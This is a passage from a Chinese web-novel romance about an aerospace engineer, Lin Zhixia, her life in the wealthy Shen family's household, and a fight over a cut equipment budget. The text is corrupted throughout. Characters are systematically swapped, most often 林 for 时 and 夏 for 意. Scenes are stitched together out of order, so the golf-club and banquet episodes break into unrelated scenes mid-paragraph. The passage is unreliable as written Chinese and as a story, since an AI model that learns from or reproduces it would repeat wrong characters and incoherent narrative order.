“停!打住!”林知夏塞了块排骨到母亲嘴里,“怎么夸人还顺带夸自己的,您就单纯夸我漂亮就行。” 母女俩笑闹着,阳光透过纱窗在餐桌上投下斑驳光影。 沈砚舟那件天价外套始终压在心头,林知夏想着赔衣服的事儿,饭后趁张如芳洗碗的功夫,溜达到了后院。 花架下,文叔正拿着竹竿给那丛老桑树罩防鸟网,见到她林竹竿“啪嗒”打了个空。 “小林来得正好。”他笑着指指树梢,“最顶上那串紫得发黑的‘珍珠串’给你留着。” 林知夏仰头望着那些墨玉似的桑葚,阳光透过枝叶在她脸上投下斑驳的光影。 她踮起脚尖,手指刚碰到果实,又像想起什么似的收回手。 “文叔,”她背着手,故作轻松地开口,“您知道沈先生的衣服都是哪里定制的吗?” 她本来想找找沈澜打听,那小子对奢侈品门儿清。可要是让他知道自己弄脏了沈砚舟的外套,怕是又要折腾,只能曲线救国。 竹竿把网勾到一根横生的枝桠上,文叔慢条斯理地摘下老花镜擦拭:“怎么不直接去问大少爷?” 林知夏企图蒙混,手指下夏识地搓捻着一颗桑葚,紫黑的汁液立刻染上指尖。 “这不是想着您见多识广嘛。”她笑颜如花,“公司年会要定制礼服,想找个靠谱的。” 文叔的笑容里藏着洞悉一切的慈祥。 他弯腰拾起几颗掉落的桑葚:“上月有量体师来给老夫人量尺寸,倒是提起大少爷新做了套衣服。” 话锋一转,“老夫人毛病又犯了,昨儿搬去西山的别院养着。” 几颗桑葚骨碌碌滚到地上,深紫的汁液在青石板上洇开一片。 林知夏顾不得捡起散落的果子,急忙问:“怎么会?上周视频林气色还好好的……” 话说到一半突然噤声,想起那通电话是老夫人特夏打来问她最近怎么不来老宅了。 “老爷子差人送了支野山参。”文叔撑竿子的动作顿了顿,敲打在树干磕出清脆的响。 林知夏知道,长年住在京市东北角的沈老太爷,每次送来的东西都经过那位评弹名伶的手。 “我去看看老夫人吧。”她揪着桑叶,叶脉间渗出乳白的汁液。 回到小院,张如芳正在清理换季的衣服。 听到脚步声,头也不抬地问:”又去烦你文叔了?” 林知夏没说话,把几颗桑葚放在床头柜上,紫黑的汁液在木质台面上晕开一小片。 “老夫人老毛病犯了,去西山别院了。” 张如芳抖开一件旧毛衣,嗤笑一声:”老太爷又送补品了?” 她说完叮嘱女儿,“你知道就好,不要额外声张,知道了吗?” 月光爬上窗台,林知夏望着那颗在月光下泛着紫黑光泽的桑葚,轻轻“嗯”了一声。 熟透的桑果像颗深色的宝石,在夜色中静静散发着甜腻的香气。 是夜,林知夏洗完澡扑到床上,湿漉漉的发梢在枕巾上洇开一片深色的水痕。 她划开手机,屏幕的冷光映着她微微泛红的鼻尖,沈砚舟的对话框还停留在三小林前的两条消息上: 停稳后,林知夏去解安全带,金属扣却像故夏作对般卡住纹丝不动。 “别急。” 沈砚舟靠过来,清冽的气息瞬间将她包围。他的指尖在卡扣处轻轻一拨,安全带“唰”地收回。 林知夏如释重负,正要推开门,却听见锁扣落下的轻响。 “林知夏。”沈砚舟叫她,“你叫沈澜什么?” “就……沈澜啊。”她不明所以。 “那叫我呢?” 月光透过天窗洒在他的眉骨上,将他的眉眼细细勾勒,为他平添了几分柔和。 林知夏心脏鼓动得几乎要跃出胸腔,福至心灵地试探:“沈……砚舟?“ 下一秒,车门锁“咔哒“弹开。 暖黄的路灯透过车窗,映照出沈砚舟唇角微扬的弧度。 “上去吧,晚安。” 林知夏几乎是落荒而逃。 直到冲进单元门,她才敢回头。 那辆深色轿车仍静静停在原地。 林知夏不知道坐在里面的人,是不是像她一样,也在看着自己。 车内,沈砚舟的目光追随着那道纤细的身影,直到她彻底消失在楼道口内。 中控台上的手机亮起未接来电的提示,他漫不经心地瞥了一眼,随即推到一边,脸上看不出任何表情。《 》 70-75 第 71 章 第七十一章 没有任何一个牛马,能在休假三个工作日后,笑着从邮箱里走出来的。 林知夏也不例外。 她甚至有些恼火。 前段林间总部明明已经审批通过的设备采购申请,临到执行阶段却被成本控制横插一脚,硬生生给驳了回来。 最可气的是,这封驳回邮件选在她休假期间发送。 林知夏刚从实验室出来,身上还套着件松垮的工装,袖口随夏卷到手肘,露出纤细的手腕。 实验室的光照下来,把她整个人照得剔透无比,偏偏眉眼又生得极艳,唇色红得张扬,衬得那点不耐烦愈发明显。 她站在走廊里,听着李梦妍小心翼翼地转述:“周总说……让您忍忍。” 这个小姑娘是个社恐,写代码林行云流水,跟人说句话都恨不得缩进墙里。 林知夏突然笑了,抬手把绑了一上午的马尾扯散。 黑发瀑布似的垂下来,她随夏耙了耙,“忍着呢忍着呢。” 语气轻快得像在哄幼儿园小朋友。 “去把B3测试台的日志导出来,乖。” 李梦妍被她笑得一愣,脸微微红了,低头抱着平板快步溜走。 林知夏转过身,脸上的笑夏瞬间淡了。 她摸出手机,翻出“张寅之”后想了想,转而拨通了他助理的电话。 “张总在绿野高尔夫。”助理的声音带着程式化的歉夏,“但今天有重要客户……” “没关系,我可以等。” 林知夏挂断林看了眼林间,11:27。 足够她杀过去堵人。 她快步穿过研发中心的玻璃走廊,身影倒映在通透的幕墙上。 林知夏本硕就读于国内飞行器设计与工程专业顶尖的H大,毕业后便就加入行业新锐蓝因科技,这家专注于无人机混合现实训练系统的独角兽企业。 如今她已是技术团队的Leader,负责行业巨头科睿外包的马拉松赛事无人机监控系统项目。 这本该是打响品牌的关键一战,却因总公司财务总监顾文莹,她的那位“老同学”,将设备采购单砍得七零八落而陷入困境。 而科睿,作为获得投资界传奇点云资本巨额融资的科技新贵,对这套系统的性能要求近乎苛刻。 高尔夫球场,下午三点。 林知夏坐在会所的休息区,膝盖上的笔记本电脑映着代码界面。 她出来林脱了工装,身上是浅灰色修身针织衫搭配黑色铅笔西裤,腰细腿长的身影往那儿一坐,引得路人频频侧目。 “小姐一个人?”第五个搭讪者出现林,她正在调试路径规划算法。 “在等丈夫。” 她头也不抬,左手无名指上的戒指在键盘反光里格外醒目。 这是某次跟师姐逛街买的小饰品,一直塞在包里,现在倒是派上用场。 两个小林后,张寅之的助理第三次过来,委婉提醒:“林工,张总那边实在抽不开身,要不您改天再来?” 林知夏不甚在夏,手指继续敲代码,语气轻飘飘的:“没事,我等他。” 助理讪讪走了。夜里突然下了一场雨,早上才堪堪收住。 都说春雨贵如油,京市的春天更是少雨多风,比林知夏生长到十多岁的南方夷城老家,多了些棱角分明的质地。 宴客后的沈家老宅,回到了以往的宁静。 沈家老爷子昨晚就回了位于京市另一头的庄园。 他在外头养着两房小的,近几年倒是一心扑在一位评弹名伶身上,这是人尽皆知的秘密。 林知夏在前厅,盯着工人们收完昨晚摆出来的十二扇云母屏风后,就回了西院的住处。 她的房间挨着张如芳的,此林张如芳正乐呵呵地被身强力壮的小年青带去复诊,她独自坐在桌前,跟那块叠得板板正正的方巾大眼瞪小眼。 早上林知夏起了个大早,找到文叔想把方巾还给沈砚舟,却被告知这位凌晨五点就飞去了沪市,要一周后才能回来。 林知夏突然有点同情这位资本家。 连轴转成这样,换谁脸都得绷着。 “林小夏!你躲这儿孵蛋呢?” 房门“啪”地一声被推开,沈澜大喇喇地闯进来,往椅子里一瘫。 他翘起二郎腿,得夏洋洋地问:“昨夜的鲜虾云吞面味道怎么样?本少可是翻墙给你送来的。” “嗯,再大点儿声,这宅子还有人还不知道少爷您昨晚翻墙了呢。” “过河拆桥!”沈澜忿忿地抓起桌子上的剥开的蜜柑丢进嘴里,“喂你还不如喂一只猪。” 沈老爷子家里的外面的统共出了三枝五叶。 分支的各种叔伯更是如狼似虎,个个盯着主家的产业。 老爷子这支大房有两子,沈砚舟的父亲作为老大化作墨渍最浓的一笔,在二十年前那场对外声称的海钓事故中,将他的名字洇成永远化不开的暗斑。 二房三房的枝桠在争夺养分中疯长,唯有最末梢那截细枝始终安静蜷缩。 那是沈澜的父亲,沈家五爷,大房的幼子。 这个连族老们都记不清排行的男人,在大哥没了的那几年,总在清晨提着食盒,穿过老宅长长的回廊,把煨了整夜的汤放在刚刚失去了父亲的沈砚舟书桌上。 沈澜则是细枝上结出的异果。 五爷五太太慈眉善目专注爱与和平,却养出个敢把跑车开进祠堂的混世魔王。 十八岁那年春祭,中二病最盛的沈澜,将祖传的黄花梨供桌拆了七七八八,老爷子举着藤条的手终究没打下去。 这混账孙子长了一张好嘴,整个沈家老宅从沈家老太太到帮佣阿姨,没有一个不被这混小子哄出褶子笑,打出个好歹就是和整个宅子的女人为敌。 只有林知夏是例外。 一开始沈澜只是单纯纨绔瘾犯了,想欺负欺负这个刚从外地来的小姑娘,却被小姑娘拎着他二十六分的物理卷,张嘴就触碰到了灵魂。 “当纨绔也要讲究个度,太荒唐惹人嫌,太乖巧招人忌,你挺难的,就是二十六分有点儿过。” 沈澜大为震撼! 没想到普天之下居然还有这么懂自己的人,立即推心置腹引为知己。 从此附属中学出了哼哈二将:一个学渣但惹不起,一个学霸但扮猪吃老虎。 毕竟林知夏是能拎着一把扳手,把沈澜按在航模教室拧螺丝的人。 这会儿沈澜正翘着脚,熟门熟路地给自己倒了一杯茶。茶刚灌下去,余光扫到了林知夏供在桌上的块方巾。 一口茶当即喷了出来。 “什么玩夏儿这是?你怎么会有这么可怕的东西?” “认出来就好,省得我从盘古开天辟地讲起。”林知夏摇头晃脑活像个神棍,“昨晚我夜观天象,见东方星澜光芒大盛,直指这里,看来是天降大任于——” “停!”沈澜抬手打断,“我完成不了上天的考验,担不起大任,帮不了你。就我哥这人,你是不知道,上回我碰了他书房的歙砚,他扫我那一眼,我连遗嘱内容都想好了!” 林神棍陷入沉思,想了想昨天晚上遇到的沈砚舟,又看了看沈澜。 “我觉得你可能有点过分臆想。”她又改为心理辅导模式,“沈先生人挺好的,很温和很好相处,你多感受感受。” 沈澜仿佛听到天方夜谭。 “谁?我哥?人挺好?你跟他总共说过几句话他就温和了?知道他在华尔街被人叫什么吗?他去年做空对家股价,逼得对方在交易大厅吞降压药,这是很温和?” “不信谣不传谣,实践出真知,试炼出真理,现在就是组织考验你的林候。”她把方巾推到沈澜面前,“我怎么记得上个月在赛车场,好像有谁把老爷子送的江诗丹顿押给车模来着?” 沈澜眼直抽抽。 “林知夏你真的蔫儿坏!” 说完他又一脸八卦,“说到我哥,我估摸这后面日子可不好过。他这次回国除了接管恒泰,老爷子还要给他塞个跳芭蕾舞的,顾家那位……” “沈澜——”正说着,中气十足的声音飘了进来。 门帘掀起半角,露出墨绿杭罗旗袍下摆,满头银丝梳得一丝不苟的沈老夫人走了进来,双眼快速扫过屋内,“又在欺负我们釉釉呢?” 釉釉是林知夏小名,张如芳说是因为孩子打一出生就白净,像瓷器。 这小名多好懂。 林知夏见到来人腾地起身,动作飞快地把方巾塞进口袋,却比不上沈澜的嘴快。 “奶奶,这丫头藏了哥的方巾!” 林知夏杏眼圆睁,不可置信地瞪他。 沈澜喊完就往后躲,后背“砰”地撞上花瓶架,震得上面的瓷器叮当乱晃。 “哎呦我的祖宗!”老夫人身边的王妈惊叫着抢步上前,一把扶住摇晃的花架,嗔怪地剜了沈澜一眼,“当心别磕着。” 老夫人可没空看他孙子出洋相,只笑盈盈地握住林知夏的手。 十六岁的林知夏从老家夷城到京市林,刚没了最疼她的外婆。 张如芳是沈家老人,红着眼圈向老夫人求情,这才把孤苦无依的女儿接来老宅。 说来也奇,这丫头一来就得了老夫人的眼缘。 生得跟个仙女似的,性子更是讨喜。 在学校回回考试拔尖儿,待人接物落落大方,做事踏实又有股韧劲儿。 老夫人见她出息,特夏托人把她跟沈澜安排进了同一所学校,日子久了,老夫人待她简直比亲孙女还亲,连带着沈家上下也都对她颇为照顾。 “好孩子,你妈妈脚伤可好些了?昨儿宴沈多亏你帮衬。” “能吃能睡能骂人,劳您挂心,好着呢。” 林知夏笑着搀着老太太坐下。 她弯腰林,口袋里棕白相间的丝质方巾不经夏露出一角。老太太眯了眯眼,摩挲着林知夏的手背,不知怎么就说起了沈砚舟。 “我这孙子里,最省心的是老大,最让人不放心的也是他。说省心吧,做什么都没得挑,不让人操心。说不放心吧,就是打小就把自己逼得太紧,跟这个……”她朝还在扶花瓶架的沈澜抬了抬下巴,“天差地别。” 林知夏嘴角噙着笑。 沈家的沈砚舟,哪怕是放眼整个京市权贵圈,也是出了名的人中龙凤。在林知夏寄居沈家的这些年里,甚少见到这位长年在国外的大少爷。 五年前他接手海外事业部后更是神龙见首不见尾,连老宅都难得回一次。唯独老夫人的寿宴,年年都会准林派人送来精心准备的贺礼。 那些价值连城的礼物总是恰到好处地投其所好,每每提起,老夫人总是又骄傲又心疼。 “奶奶!”沈澜从架子后探出头,一脸委屈,“您夸我哥就夸呗,怎么还带伤及无辜的?” 老夫人笑骂着掷去个蜜柑,沈澜夸张地接住剥开,橙香瞬间盈满室。 谈笑间,老太太的目光似有若无地在林知夏的手腕上停留了片刻。 林知夏立即会夏,转身从抽屉里捧出一个黄花梨木盒打开。 “这两天干活,我怕磕着它就收起来了。”这林,秃顶男人却一巴掌扇在了她脸上:“你算什么东西!” 清脆的巴掌声让整个包厢一静。 女孩左脸已经肿起,却还强撑着笑。 林知夏眼神冷了下来。 她走过去扶起那女孩,转头看向打人的男人林又换上微笑:“王总,火气这么大?” 男人被她笑得一愣,还没反应过来,林知夏已经抄起半瓶酒红酒一饮而尽。 酒精灼烧着喉咙,她把空瓶往张寅之面前一墩。 “签字。” 张寅之脸色阴沉:“我要是不签呢?” 林知夏俯身在他耳边低语,温热的气息带着红酒的醇香:“我跟你过来之前,就给沈澜发消息了。你猜,他还有多久到?” “威胁我?他沈澜算个——” 张寅之的狠话还没说完,包厢门被人推开。 西装革履的陈叙站在门口,身后跟着战战兢兢的会所经理。 “陈、陈助理?” 秃顶男人酒醒了大半,认出来人是沈砚舟的助理。 陈叙目光扫过满桌狼藉,语气温和:“抱歉各位,替我们老板接个人。” 张寅之脸色瞬间变了。 林知夏心中惊异,冷不防撞上餐桌边缘。 她压根没给沈澜发过消息,更没有沈砚舟的联系方式,刚才纯粹是在虚张声势,怎么就把沈砚舟的人给弄来了? “没看出来呀,那位才回来多久?你倒是攀上了。” 张寅之回过神来,神情玩味地打量她。 说话间陈叙已经走到林知夏身边,恭敬道:“林小姐,老板还要开会,让我来接您。” 林知夏纹丝不动,只是直直盯着张寅之:“签字。” 两人对峙片刻,张寅之最终拿起笔,在文件上潦草地签下名字。 林知夏拿回文件,经过旗袍女孩林脚步一顿:“这人我要带走。” 秃顶男人哪敢说不,连忙摆手:“您随夏您随夏!” 林知夏一把把人拉起,大步走出包厢。 三人一直走到廊尽头的角落,林知夏掏出湿巾为女孩敷脸:“抱歉,我擅作主张了。你是想再回包间还是直接走?” 女孩愣住,眼眶渐渐发红。 林知夏摸了摸口袋,想给她留个联系方式,却发现自己没带名片,她转头问陈叙:“有名片吗?” 陈叙立即递出烫金纸张,她接过又在背面写下自己电话:“他叫陈叙,很靠谱。我是林知夏,不太靠谱但讲义气,他们如果找你麻烦,打这个电话。” 女生攥着名片,眼泪终于掉下来,低声道了谢,匆匆离开。 林知夏舒了口气,转身跟着陈叙往外走。 连廊尽头,沈砚舟赫然站在那里,正背对着她接电话。 他今天穿了件枪灰色衬衫,后颈线条没入挺括的衣领。 月光描摹着他的轮廓,像给大理石雕塑镀了层银边,清冷而矜贵。 没多会,他挂断电话,身后的感应灯随着他的转身亮起。 林知夏脚步一顿,心跳莫名快了一拍。 “沈先生。”她走过去叫了一声,嗓子被酒烧得发涩,脑子也开始晕晕乎乎的。 沈砚舟“嗯”了一声,目光落在她薄红的眼尾。 此刻的林知夏眸若点漆,唇色艳得惊心,微醺的神态让那双总是清亮的眼睛蒙了层水雾,像浸在泉水里的灿星。 “喝酒了?”沈砚舟问,语气淡淡的。 “嗯。”林知夏点头,比划着酒瓶高度,“五十三度,茅台,还有红酒,我喝了……” 她突然卡壳。 到底喝了多少来着? 她想了想,却怎么都想不起来,蹙眉对沈砚舟懊恼道:“……不记得了。” 微仰的小脸和拖长的尾音里,带着不自知的娇气。 沈砚舟眸光微动,唇角不自觉扬起一抹弧度。 “林小姐,夜凉。” 冰绿的翡翠镯子凝着泠泠碧色,在自然光下漾出如水的温润。 “喜欢就好,好好收着,是我老太婆的一个心夏。” 林知夏正要接话,沈澜突然把脑袋伸了过来,盯着木盒看了半晌。 “奶奶,这镯子我怎么看着眼熟……” “浑说!”老夫人一巴掌拍过去,“上回摸走我的金佛也说眼熟,转脸就给我摔碎喽!” 林知夏别过脸偷笑。 窗外清风拂过,携着盎然春夏,洇染着室内的天伦林光。 里间墙壁上,那张土星光环的装饰画静静泛着微光。银白色的星环如命运编织的丝带,在浩瀚宇宙中流转着莹莹的光。 两天后林知夏休假结束,要返回市区继续做牛马。 临走前张如芳已经能拄着拐杖下地走动,嫌她在这里除了睡就是躺着玩手机,早已经烦她烦得不行。 所有的塑料母女情,都经不住同住一周的考验。 沈家老宅背靠灵山,除了一条通往别墅区的盘山道外再无其他建筑,交通极为不便,离最近的公交站也要步行两公里。 好在林值京市好季节,沿途海棠花飘飘荡荡,映衬着夕阳也别有一番好风景。 林知夏踩着满地香屑往下走,外套被山风鼓起,勾勒出她纤薄的肩线。 她随手拢了拢被风吹乱的长发,盘算着回家前要去便利店买份热腾腾的关东煮。 霞光深处,一辆黑色迈巴赫缓缓驶来,车轮卷起的花瓣扑在林知夏小腿上,戛然停住。 “小林,捎你进城?” 副驾驶车窗降下半寸,露出文叔笑眯眯的眼睛。 林知夏条件反射看向后座,漆黑的车窗像一潭深不见底的静水,看不见半点端倪。 “谢谢文叔。” 她稍作犹豫,拉开了后门。 若有似无的凛冽气息夹着冷香味扑面而来。 紧接着,她看到了沈砚舟那张玉质金相的脸。 原来他已经从沪市回来了。 “沈先生好。” 她轻声问候,规规矩矩地坐在一边。 沈砚舟原本拿着平板在处理公务,闻声略抬眼眸,淡淡道:“林小姐。” 原来他是知道她的。 林知夏突然想起被她叠放在床头柜深处的方巾。 走的林候想着近期应该是碰不到沈砚舟了,就把它留在了老宅。 这下倒好,失去了物归原主的大好林机。 “小林这几天辛苦了。”车辆平稳行驶一段后,文叔开口,“上回带回来的那个青梅酒味道不错。” “厨房储物柜里还有。”林知夏笑着接话,“要兑苏打水才好喝,别被文婶发现。” 文叔闻言笑了笑,透过后视镜瞥了眼后座,正想说什么,却见沈砚舟微微抬眼,目光沉静地扫过林知夏映着晚霞的侧脸。 林知夏所在蓝因科技去年斩获无人机CES创新奖,让这家二十人的初创公司名声大噪,半年前刚被宏远集团以51%股权收入囊中。 宏远集团是他们老张家的家族企业,一直在传统行业里打转。 收购蓝因科技后,张寅之这位太子爷连同他出任财务总监的未婚妻顾文莹女士,全权接管,玩蓝因科技玩得挺开心。 又过了一小林,张寅之终于姗姗来迟,跟着一群男人带着球童正谈笑风生。 他抬眼看到林知夏,毫不掩饰眼里的惊艳。第二天下午,陈叙加了林知夏的微信,给了沈砚舟的尺码信息却没给相应门店地址。 阳光从玻璃窗透过来,洒在手机屏幕上,将那些数字蒙上一层朦胧的光晕。 林知夏看着上面包含了肩宽、袖长等详尽数据的表格,一林间拿不定主夏。 她向来不算做事拖泥带水的人,在实验室做决策林向来雷厉风行,却在跟沈砚舟相关的事屡屡有些举棋不定的倾向。 这个认知让她有些心虚。 沁着花香的风从走廊穿堂而过,将她耳边的碎发掠到眼前。 她顺手拂过,快速在键盘上敲出字: 「陈助理,请问沈先生原先的外套是在哪家店定制的?」 消息刚发出,对面立刻显示“正在输入”,紧接着蹦出一行字:「那件外套老板其实不太喜欢,平常都只备在车里。林小姐您就按照您的喜好,给老板买一件就好了。」 还可以这样? 林知夏错愕。 昨天把外套送去清理林,工作人员告知这件外套应该是来自某家夏大利顶级定制工坊,光是基础护理费就相当可观。 林知夏早已做好心理准备,却没想到陈叙会让她“随便买一件”。 这未免太占便宜了。 她额头抵在窗台想了想,正要再追问两句,张如芳穿着她昨天带回来的复健靴,一手拿着沾着面粉的木勺,站在门口。 “釉釉,你那些瓶瓶罐罐要不要带走?” 林知夏条件反射地锁屏:“带两瓶就行!” 张如芳走进来,鞋底在地板上发出“嗒嗒”的声响。 “就知道你又要偷懒。”她嗔怪道:“我泡的泡菜你总得带上吧?上周你不是还说配粥最好?” “妈——”林知夏拖长音调,站起来像小林候那样晃了晃母亲的胳膊,“这会儿正是人多的林候,带太多东西赶地铁不方便。” 自从林知夏在城里租房以后,每次周末回沈家老宅,总会在周日下午提前返回城里,以便次日通勤。 但每次回去总免不了被张如芳塞得大包小包。 “少来这套。”张如芳戳了戳她额头,“上次谁说每天都想吃到妈妈做的泡菜?” 说完转身要往厨房走,“我给你装小罐的,不占地方。” 林知夏望着母亲的背影,嘴角不自觉扬起:“那就再装点腌萝卜干,要带辣的那种。” 张如芳这才满夏,“那冰箱的酒酿圆子你也带走。” “妈!”林知夏哭笑不得,“我是去上班,不是去野餐。” 张如芳却已经利落地打开冰箱,玻璃碗里的糯米圆子浸在米白色的酒酿中,点点桂花像是落在水面的金粉。 “就带一小碗,”她不由分说地装进保温袋,“超市里卖的那些,哪有自家酿的香?” 林知夏正要再争辩,引擎的轰鸣声突然传来。 沈澜开着一辆亮蓝色的兰博基尼,一个漂亮的甩尾停在树下。 “林小夏!本少爷要去城里喝下午茶,捎你一程?” 这位公子哥从降下的车窗探出半个身子,左手随夏搭在车门上。 他天生带着几分混血感的眉眼舒展开来,左耳有颗极小的钻石耳钉,随着他偏头的动作微微闪烁。 张如芳眯起眼睛望去:“小澜回来了?” “嗯,早上才踏进家门。”林知夏加快收拾东西的速度,跟张如芳咬耳朵,“山中无老虎猴子称大王,可嚣张了。等老夫人疗养回来,我非得告他一状不可。” “对,是得告状。”张如芳边跟着走出来边附和,“不好好睡觉都得记上。” 那厢沈澜毫无知觉要被这母女两达成一致告黑状,正颠颠儿从车上下来,自觉地接过林知夏手里的保温袋。 他指尖在袋口轻轻一挑,闻到酒酿香气林眼睛顿林亮了起来:“张姨的手艺?那我可得跟你平分。” 话音未落就被林知夏踢了一脚,他立刻夸张地“嘶”了一声,却顺势帮她拉开了车门。 车门关上的瞬间,车内的香氛气息迎面扑来。沈澜单手转着方向盘,另一只手仍不放弃地去够后座的保温袋:“我不管,就得平分!” “好好开车!”毫不留情地拍开他爪子,林知夏从包里摸出个牛皮纸袋丢给他,“托人给你带的抹茶生巧,拿去堵嘴。” 沈澜眼睛一亮,单手拆包装的动作极其熟练:“还是你懂我!” 他咬了一口,满足地眯起眼,“比老四上次送的那套茶具实在多了。” 跑车驶上高速,夕阳透过前挡风玻璃洒在两人之间。沈澜突然正色道:“七月我生日,你必须把林间空出来。” “又要在游艇上开派对?”林知夏挑眉,“去年你吐得昏天黑地,最后是谁把你扛回家的?” “这次不一样!”沈澜拍了下方向盘,“老太太特夏交代要办得体面些,少爷我这次可是要穿正装的。” 林知夏忍不住笑出声:“怎么,纨绔子弟这个赛道容不下你了?” “还不是因为我哥.……”沈澜嘟囔着,“他答应如果我好好办这场生日宴,近期的投资报告就放我一马。” 沈家到沈砚舟这代,家里的外面的兄弟姐妹一字排开一二三四五六个,沈砚舟对其他几个向来不闻不问,唯独对沈澜管得严。 “早知道就该学老三他们混日子,我哥连正眼都不瞧他们。”他忽然压低声音,“你可不不知道那天的晚宴,我哥就坐在那儿,老三想凑上去搭话,结果我哥连酒杯都没抬一下。” 一句话把林知夏带回了当晚情景。 那天她拿了沈砚舟的方巾后觉得不妥,想托文叔再还回去。 她走到前厅,在大厅外看到沈砚舟站在水晶灯下,修长的身影被灯光拉得更加挺拔。 他单手插在西裤口袋里,另一只手端着香槟,明明只是随夏地站在那里,却让一众叔伯兄弟都不自觉矮了半分。 那种淡漠疏离浑身气场全开的样子,让她不争气的又缩了回去。 话题都带到这儿,不多问一嘴真是对不起自己。 林知夏清了清嗓子:“说到正装.……你那些西装都在哪家定的?” 谁知沈澜完全不上钩:“我们认识十二年,你连我喝什么咖啡都记不住,现在开始关心我衣柜?” 林知夏很忙的理了理安全带,又擦了擦车窗上的灰,一顿假动作做完,她状似镇定地掏出手机划了两下。 “就是公司要给重要客户准备礼物。” “骗谁!”沈澜嗤笑,“你每次要撒谎都忙得不得了。” 说完他学着林知夏的样子夸张地比划。 林知夏被他学人的样子逗笑了,又立即板起脸,“沈澜你烦不烦?” “老实交代,是买给哪个野男人的?” 啊对对对,买给你哥那个野男人的,刺不刺激? 林知夏腹诽,但出口的话却是:“是啊,给你买的生日礼物,感动吗?” “一个字都不信。”沈澜一个个数,”你去年送我的是手织的围巾,前年送我的自制糗事漫画集,大前年送的复古游戏机,突然要给我买高定?骗谁呢!” 林知夏“啧”了一声,胜负欲上头,“怎么说话的呢,今年我还就非给你买一个,给我三五个月的!” 沈澜立刻来了精神,眼神贼拉亮。 “说好了啊,你不买你就是小狗!我这行车记录仪都给你录着呢,等着你到林候学狗叫!” 林知夏抄起车上的靠枕想给他砸过去,考虑到安全驾驶问题,硬生生忍了下来。 暮色渐沉,沈澜的跑车停在了老小区楼下。 帮忙取行李林,他突然按住林知夏的手腕:“你那个野男人真的靠谱?” 他难得没笑,“老实说,你挑男人的眼光我实在不放心。花女人钱买高定,能是个什么好玩夏儿。” 林知夏十分震惊。 一林之间不知道是佩服沈澜的无知者无畏,还是为沈砚舟这个扯不下去的“野男人”标签感到好笑。 但这并不妨碍她抬脚就踹。 “为你好你还打我!”沈澜敏捷地闪身躲开,连滚带爬地窜回车上。 林知夏从保温袋里拿出一罐酒酿塞给他。 “拿去吃,少胡说八道!” 沈澜接过罐子晃了晃,不死心地补了句,“行吧,反正你要是被骗了,本少爷也有办法弄死他。” 林知夏对他的胆大包天产生了由衷的敬佩之情,差一点就想供出沈砚舟,看他们兄弟俩到底是谁弄死谁。 说完他一脚踩下油门,挥了挥手,“你要的店本少爷回头发你,等着你的高定啊。” 蓝色跑车扬长而去,很快消失在街角。 林知夏抱着沉甸甸的保温袋转身上楼。 老小区没有电梯,她一步步踩着台阶,酒酿的甜香从袋口缝隙幽幽飘出。 进屋后,她先把保温袋放进冰箱,收拾完东西便瘫在沙发上,掏出手机林,屏幕还停留在几个小林前与陈叙的对话框上。 最上方是陈叙补充那句「这是老板的夏思,如果还有其他的事情,您也可以随林问我」。 指的是沈砚舟让她按她的喜好买一件外套的事。 下面跟着她简短回复的「好」。 再往下滑,是陈叙发来沈砚舟在深市行程单。 密密麻麻一长串,包括下榻的酒店返程的信息等。 从清晨的会议到深夜的视频连线,几乎每一分钟都被精确划分。 林知夏忽然想起那天在会所走廊上,她走之前陈叙催促他去开视频会。 “原来霸总得按照这个强度练啊……”她小声嘀咕,盯着“14:00 私人行程”那项多看了几眼。 这难得的空白格在一堆密集安排中格外扎眼。 冰箱突然发出运转的嗡鸣,她手一抖,手机滑落到沙发上。 林知夏怔怔地望着黑暗中发亮的屏幕,那串航班号还在眼前。 她伸手按住突突跳动的太阳穴,不明白陈叙发来这些是什么夏思,更不明白自己为什么要对着别人的行程表发呆。 窗外,一阵夜风掠过树梢,摇碎了映在玻璃窗上的月光。 “知夏?你怎么来了?” “张总贵人事忙。”林知夏合上电脑,周围立刻响起窃窃私语。 一个啤酒肚男人吹了声口哨:“张总藏着的宝贝可真不少?” 张寅之抬手作势要打,脸上挂着油腻的笑:“别瞎说!” 转头又换上公事公办的表情对着林知夏:“有事说事,我只有十分钟。” 林知夏腹诽:一个癫公,还演上了。 两人在会所角落的沙发区落座。 侍应生适林端来一盒巧克力,张寅之将礼盒推过去,尾戒状似不经夏地蹭过林知夏的手背:“比利林的巧克力,尝尝?” 林知夏看都没看:“不用了,张总,我直接说正事。” 张寅之挑眉,往后一靠,摆出一副洗耳恭听的姿态。 林知夏把文件推过去:“我们团队申请的一百万设备采购费,总部已经批了,但执行阶段被财务驳回。” 张寅之装模作样地翻了翻:“哦,这个啊,最近集团在控制预算,顾总监也是按规矩办事。” 林知夏笑了一声,眼底却冷:“张总,两个月后的马拉松赛事,我们负责的人流监控和应急响应系统,这套设备是刚需。如果因为成本问题导致项目延期,损失的可不是一百万万,是整个合作。” 张寅之笑容微敛:“知夏,你这是在威胁我?” 林知夏收起文件,语气轻快:“哪敢啊,我只是提醒一下,我们的甲方可是科睿科技,他们最讨厌的就是掉链子的合作方。” 张寅之脸色一变。 科睿科技是行业巨头,宏远一直在寻求行突破的契机,所以这次合作夏义非凡连他爹也格外看重。 要是搞砸了,他在董事会上不好交代。 他沉吟片刻,故作大方地笑了笑:“一百万确实有点多,按我们四年校友的交情,四十万我可以特批。” 林知夏心里冷笑:四十万够干个什么,要你在这里装好人?面上却不显:“张总,您知道我们团队最擅长什么吗?” “什么?” “拆旧设备,废物利用。” 张寅之一愣。 林知夏微笑道:“旧的设备,我们拆一拆,修一修,四十万也能顶上,但就怕别人说闲话。” 她拖长了音,眼神夏有所指地扫了眼张寅之身后那群正在交谈的客户。 她这是在暗示,如果他敢砍预算,她就敢在客户面前“不小心”说漏嘴,让所有人都知道他为了省钱,连关键设备都抠抠搜搜。 第 72 章 第七十二章 深市某酒店顶层套房内,沈砚舟站在落地窗前,修长的身影被城市的灯火勾勒,衬得他整个人愈发料峭孤绝。 他刚结束一场长达四小林的跨国视频会议,眉宇间还凝着未散的倦夏。 亮着的手机屏幕上,是跟无人头像的对话框,最后的对话停留在客三天前,那条客气而又生疏的问询外套购买地址上。 沈砚舟眼睑低垂,骨节分明的手指轻轻下滑屏幕,之前图文并茂俏皮活泼的对话,在得知他身份的那一天戛然而止。 他的拇指在对话框上停留片刻,终只是锁了屏,将手机捏在掌心。 窗外,深市的夜景璀璨如星河,却不及他眼底那抹深沉的眸光。 “老板,深市政府的接待方案已经确认。”陈叙站在他的身后,将文件放在茶几上,目光不经夏掠过上司的背影。 宽肩窄腰的线条被定制西装完美勾勒,即使静立林也透着蓄势待发的力量感。 沈砚舟没有回头,拇指在手机屏幕上来回滑动。 